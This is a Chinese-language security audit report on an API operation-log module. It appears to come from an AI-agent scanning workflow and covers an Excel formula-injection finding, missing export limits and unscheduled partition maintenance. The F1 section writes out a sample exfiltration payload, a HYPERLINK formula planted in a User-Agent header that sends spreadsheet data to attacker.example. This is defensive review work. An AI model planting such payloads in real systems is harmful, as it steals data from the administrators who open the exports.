---
title: L2 檢查結果：API 操作記錄全鏈（jedi-log）
---

# L2 檢查結果：API 操作記錄全鏈（jedi-log）

> 檢查日期 2026-09-15｜對應卡片 CM-1812｜檢查範圍 43 個檔案

---

## 🔴 一句話結論

**工具只提報一條，是「匯出成 Excel 檔的功能會被塞進假公式，管理員打開檔案時公式就會在他電腦上跑」（HIGH）。卡片交代的五個重點裡，工具只碰到跟匯出有關的一小部分，其餘四個重點（分區維護、寫入來源、查詢條件、選單覆蓋）全靠首腦回頭人工查，其中「分區表滿了會怎樣」查出一個已經記錄在案、還沒排上修的舊缺口。**

---

## 這一棒在檢查什麼

操作記錄功能會把每一次 API 呼叫記下來——誰、什麼時候、對哪支功能做了什麼，供事後稽核查閱。這一棒檢查的是這個功能的完整路徑（43 個檔案）：查詢清單、匯出成檔案、資料表結構（按月分區），以及選單與權限的綁定。

要回答的核心問題是：**誰看得到這些操作記錄，以及匯出功能會不會被濫用。**

---

## 掃到什麼：總覽表

| # | 嚴重度 | 這是什麼問題 | 出事會怎樣 | 要先有什麼才打得到 | 在哪裡 | 狀態 |
|---|---|---|---|---|---|---|
| **F1** | 🔴 高 | **匯出成 Excel 的功能沒有過濾公式字元，任何一次遠端請求都能在管理員的電腦上種一顆公式炸彈** | 平台管理員下載並打開操作記錄的 Excel 檔時，任何一個以 `=`（或 `+`/`-`/`@`）開頭的欄位內容會被 Excel 當成公式執行——可以是釣魚連結、把資料偷送到外部網址，甚至（舊版 Excel 開啟巨集式功能時）直接執行指令 | ① 攻擊者不需要登入，隨便對系統任何一支 API 發請求，把 User-Agent 或其他會被記錄的欄位塞成公式字串即可，門檻極低<br>② 需要平台管理員把匯出的檔案下載下來、用 Excel/LibreOffice 打開才會觸發 | `jedi_api_log/api_log/app/service/api_log_service.py:89` | 🆕 **新增** |

**淨結果：工具提報 1 條候選，通過驗證，是新發現，高風險。**

---

## 每條發現的詳述

### F1：匯出 Excel 沒過濾公式字元（公式注入）

**現況**：已修（M09-2，CM-2055，1.21.0 出貨）

**①這是什麼問題**：`export_api_log_file()` 把查出來的操作記錄整批寫進 Excel 檔（`df_clean.to_excel(...)`），寫之前只清掉了 ASCII 控制字元（`\x00`-`\x1F`），完全沒處理 Excel 會拿來當「這是公式，不是文字」的開頭字元（`=`、`+`、`-`、`@`）。

**②出事會怎樣**：操作記錄裡幾乎每個欄位都直接來自 HTTP 請求，包括 `User-Agent` 標頭、請求網址、查詢字串——而且**寫進這張表完全不需要登入**（見下方「④在哪裡」的補充）。攻擊者只要送一個 `User-Agent: =HYPERLINK("http://attacker.example/steal?"&A1,"點我看報告")` 的請求，這串文字就會原封不動進資料庫。之後平台管理員打開匯出的 Excel 檔，這個 `HYPERLINK` 公式會變成一個看起來正常的超連結，點下去會把當前工作表的內容送到攻擊者的網址；更激進的公式（如 `WEBSERVICE`）甚至不需要點擊、打開檔案就觸發。

**③要先有什麼才打得到**：
- 攻擊者這端：完全不需要，隨便一個 API 端點都能寫入
- 觸發端：需要平台管理員實際下載並用會執行公式的軟體（Excel、LibreOffice）打開檔案——這是唯一的「受害者互動」門檻

**④在哪裡**：`jedi_api_log/api_log/app/service/api_log_service.py:89`（`ApiLogService.export_api_log_file`，`df_clean.to_excel(writer, index=False, header=False)` 那一行）。資料的源頭是主專案 `common/middleware/app_mw.py` 的 `before_request` 攔截器（不在本棒掃描範圍內，但是本問題成立的必要環節）——它會在**任何權限檢查跑之前**，把每一次請求的網址、查詢字串、`User-Agent`、請求內容原封不動寫進 `api_logs` 表。

**⑤怎麼修**：在寫進 Excel 之前（可以放在既有的 `ExcelUtil.clean_invalid_characters` 那一步旁邊），把任何以 `=`、`+`、`-`、`@`、Tab、CR 開頭的字串值前面加一個單引號 `'`——這是 Excel 與 LibreOffice 都認得的「請當成純文字」標記，OWASP 對「CSV/Excel 注入」的標準修法就是這個。要修在匯出這個共用的出口，不要只補單一欄位。

**首腦補充（驗證細節）**：三位檢查員（可打到嗎、影響多大、有沒有防護）全數一致判定成立，是本棒唯一一條候選，全票通過，可信度標為「高」。

---

## 卡片重點逐項人工查證

🔴 **本棒吸取上一棒（L1）的教訓：工具低強度只跑一位研究員，卡片列的五個重點很可能大半沒被工具碰到。逐項回頭人工核對如下。**

### ① 匯出功能的檔案處理（**工具已報，額外補三點）

- **匯出範圍受不受查詢條件限制**：`export_api_log_file(self, **kwargs)` 有接收 `kwargs` 組成 `ApiLogQueryEntity` 過濾條件，路由 `ExportApiLogsRoute.get()` 卻完全沒有從 request 讀任何參數就直接呼叫——目前 FE 沒有把查詢條件帶進匯出請求，所以匯出**實際上永遠是全表匯出**，「篩選後再匯出」目前不存在，即使加了條件也不影響匯出的量。**（工具未報，人工查證）**
- **有沒有筆數上限**：`get_all_by_fields()`（`jedi_api_log/api_log/domain/service/api_log_domain_service.py:20-21` → `jedi_api_log/api_log/infra/repository/api_log_repo_impl.py` 底層的 `BaseRepositoryImpl.get_all_by_fields`）是 `session.query(self.model).filter(*filters).all()`，**沒有任何 LIMIT**，一次會把符合條件（目前等於全表）的所有列都撈進記憶體再轉 DataFrame。開發環境目前 `api_logs` 累積 126,510 筆，量體還可控，但這支功能本身沒有防護——資料量繼續累積下去會變成一次匯出把整台伺服器記憶體吃滿的風險。**（工具未報，人工查證）**
- **暫存檔清不清**：整個匯出流程全部走記憶體內的 `BytesIO`（Excel 先寫進一個 `BytesIO`，再包成 zip 寫進另一個 `BytesIO`），**沒有落地寫過任何暫存檔**，所以「暫存檔沒清」這個疑慮不成立。**（工具未報，人工查證）**
- **檔名有沒有被使用者輸入影響**：檔名是伺服器端用 `datetime.now().strftime(...)` 自己組出來的固定格式（`user_log_20260915143000.xlsx`），**不吃任何使用者輸入**，且送出前還過了一次 `secure_filename()`。這條沒有問題。**（工具未報，人工查證）**

### ② 查詢條件的處理（**工具未報，人工查證**）

- **條件欄位是不是全部非必填、送空的會不會回整張表**：`ApiLogPageQueryRequest` 的 `filters` 欄位（`user_name`／`level`／`request`／`source_ip`／`server_ip`／`method`／`url`）全部沒有 `required=True`，全部可以不帶。底層 `_gen_filters()` 的邏輯是「有值才加進 WHERE 條件、沒值就跳過」——送一個空的查詢請求確實會回整張表。**這條命中跨 arc 總表 §6 A 組已登記的第 70 項「共用底層送空條件就回全表」那條線（源頭在 `jedi-common` 的 `base_repository_impl.py`）**，屬於同一根因，**歸那條線，不獨立升級成新發現**。
- **排序欄位有沒有白名單**：清單端點 `ApiLogsRoute.post()` 沒帶排序時後端會強制補 `created_at desc`；有帶排序時走 `jedi-common` 的 `_apply_sorts()`，那裡有做欄位白名單檢查（`hasattr(self.model, sort_spec.field) and sort_spec.field in all_fields`，只認 ORM model 真實存在的欄位），**不是任意字串都能拼進 SQL**，這條沒有問題。

### ③ 分區表的結構（**工具未報，人工查證，發現一個已知缺口**）

**現況**：已修（M09-5：維護程式已接上每日 03:30 排程，2026-09-18；並修正先前權限不足每晚失敗的問題）。

- **新月份的分區由誰建**：套件自己（001 migration）建的是**普通表**，不是分割表；分割是主專案自己額外套的（`scripts/sql/2026-06-03-log-tables-partitioning.sql`），一次性建出「有資料的最早月份到現在＋3 個月」的分區，並且寫了一支 `maintain_log_partitions()` 函式負責之後每月滾動建新分區、清過期舊分區——**但這支函式從沒有被任何排程呼叫過**（開發環境沒裝 `pg_cron`，主專案也沒有對應的 APScheduler 定時任務）。開發環境實查：目前只有 2026-05 到 2026-08 四個月分區，**9 月份的分區其實也已經在當初那次一次性建立時建好了**（因為建立邏輯有 `+3 月` 的前瞻），所以現在還沒出事；**但 10 月一到、沒有任何機制去建 10 月的分區，屆時所有新寫入的 10 月資料都會掉進 `api_logs_default` 這個「接不進任何月分區」的預設分區**，不會報錯、不會有任何提示，只是悄悄堆積在一張沒有按月切分的表裡，長期會拖慢查詢與清理。
- **⚠️ 這不是本棒新發現**：這件事已經寫進 `docs/analysis/2026-07-07-known-pits-remediation-tracker.md`（項目 `user-log#6`）與 `docs/features-site/docs/FR-047-2607-feature-spec-handbook/handoff/2026-07-07-known-pits-remediation-handoff-2.md`，是既有已知、尚未排上修的缺口，**本棒只是在資安掃描的脈絡下再次核對現況、確認它依然是真的**，不另計一條發現。
- **舊分區有沒有保存期限與清理機制**：`maintain_log_partitions()` 函式裡有寫 90 天（api_logs）/ 180 天（system_logs）的保存期限邏輯，但因為函式從沒被呼叫過，**保存期限實際上完全沒有生效**——分區只會（在還有分區可建的期間）持續累積，不會被清除。這與上一點是同一個根因（函式沒接排程），不是兩件事。

### ④ 記錄寫入的來源（**工具未報，人工查證，命中跨 arc 總表第 22 項**）

**現況**：已修（M09-6，網址過長不再漏記，FR-114 CM-2171，BE commit `908f9dd0e`；M09-7 來源 IP 同批修好）。

- 主專案 `common/middleware/app_mw.py` 的 `before_request` 攔截器，在**呼叫任何權限檢查之前**就把每一筆請求寫進 `api_logs`：`request.url`、`request.query_string`、`User-Agent` 標頭完全沒有做任何遮罩處理；`request.data`（請求內容）在寫入前有經過 `mark_password()` 遮罩函式處理（會把 JSON 裡欄位名稱含 `password`/`token`/`secret`/`credential`/`authorization`/`api_key`/`private_key` 等關鍵字的值換成 `***`）。`after_request` 補寫的 `response` 欄位同樣有走 `mark_password()`。
- **這與跨 arc 總表第 22 項是不同的具體位置，但同一根因**：第 22 項指出的是 `logger.info(request.headers)` 與 `logger.info(request.data)` 這兩行**印到 log 檔／console 的動作**沒有遮罩（雖然同一支函式後面寫進 `api_logs` 資料表時的 `request.data` 有遮罩）；本棒查的是**寫進 `api_logs` 這張表**的路徑，`request` 欄位這裡確實有遮罩、但 `url`／`params`（查詢字串）／`user_agent` 這三個欄位完全沒有遮罩機制——如果攻擊者把密碼或 token 塞進 URL 查詢字串（例如某些第三方回呼會把 token 放在 query string），一樣會原文寫進資料庫。**這是第 22 項同一主題下、資料庫寫入這一側尚未被完整核對過的欄位範圍，建議與第 22 項的修正一併考慮 `url`/`params` 兩欄**，不獨立開一條新發現。

### ⑤ 選單與權限的綁定（**工具未報，人工查證**）

- **綁定的權限是不是平台層**：開發環境實查 `public.capabilities` 表，`log.read` 的 `is_platform` 欄位確實是 `true`——與卡片開卡前的判定一致，**屬正確**。
- **塞入的資料會不會覆蓋客戶改過的值**：`004-log-ui-routes.sql` 兩段 `INSERT INTO public.ui_routes` 都帶 `WHERE NOT EXISTS (SELECT 1 FROM public.ui_routes WHERE name = '...')`，是「已存在就跳過」的冪等寫法，**不會覆蓋任何既有列**（包含客戶自己改過 `enable`/`sort`/`icon` 之後的值）。`route_capabilities` 的兩段 INSERT 也都帶 `ON CONFLICT (route_id, capability_id) DO NOTHING`，同樣不會覆蓋。這條沒有問題。

---

## 這份結果可信到什麼程度

### 「工具報的這條是真的嗎」→ ✅ 可信

F1 通過三位獨立檢查員一致投票（reachability／impact／defenses 全數判定成立），且驗證細節裡三位都各自從 middleware 到 Excel 寫入完整走過一遍程式碼路徑，沒有停在推測層次。

### 「掃描結果是不是完整」→ ❌ 明顯不完整，這是本次可信度段落要誠實面對的地方

**這是最低強度快篩，一位研究員讀完 43 個檔案就提報候選，不做元件盤點、不做威脅建模、不跑額外的密鑰專項掃描。** 更關鍵的是：**卡片交代的五個重點裡，工具只碰到其中一個（①匯出），且只碰到匯出裡「公式注入」這一個角度**——① 裡另外三個子問題（範圍受不受條件限制、筆數上限、暫存檔）、②③④⑤ 全部四個重點，工具都完全沒有提出任何候選，是首腦逐項回頭開檔／連 DB 查證後才補上的。這與上一棒（L1）撞到的教訓一致：**低強度工具很容易只咬住程式碼裡最顯眼的一個攻擊模式（本棒是公式注入），對其他同樣重要但不那麼「符合掃描器直覺」的問題（權限模型正確性、排程有沒有接上、資料源頭遮罩範圍）視而不見。**

人工查證裡最有價值的一條是③（分區維護函式從未被排程呼叫）——但這不是新發現，是已經記錄在案、還沒排上修的舊缺口，本棒的作用只是在資安脈絡下重新確認它依然成立，並指出「10 月會開始悄悄失效」這個具體的時間點。

---

## 已知、非本棒新發現（照卡片交代核對）

卡片開卡前已經查證過兩件事，這一棒掃到的內容與這兩件一致，**不重複計數**：

1. **兩支端點的守門是紮實的**——清單（`ApiLogsRoute.post`）與匯出（`ExportApiLogsRoute.get`）都掛了「要登入＋必須是平台管理員」，本棒沒有找到繞過這兩層守門的路徑。
2. **操作記錄表沒有客戶隔離、也沒有客戶欄位**——這是跨 arc 總表第 23 項，本棒沒有重複計數。

---

## 執行概況

| 項目 | 數字 |
|---|---|
| 檢查範圍 | 43 個檔案（與卡片逐檔對上） |
| 檢查強度 | 最低（`low`），未設定 focus |
| 候選問題 → 去除重複 | 1 → 1 |
| 投票數 | 3（1 條發現 × 3 位檢查員） |
| F1 投票結果 | 3 票全過 |
| 沒投到票的 / 投票中斷的 / 被降低嚴重度的 | 0 / 0 / 0 |
| 驗證章狀態 | `verified`（無拒收理由） |
| 掃描當下的程式碼版本 | commit `cdb0d0f4f4c2`，branch `main`，工作區乾淨 |
| 花費 token（子 agent 累計） | 約 37 萬 |
| 首腦人工補查項目 | 卡片五個重點逐項查證，其中③命中一個已知缺口（分區維護未排程） |

---

> 📄 本報告由 runner（本棒 session）依工具原始產物撰寫，五個卡片重點的人工查證亦由本棒完成，非首腦補寫。
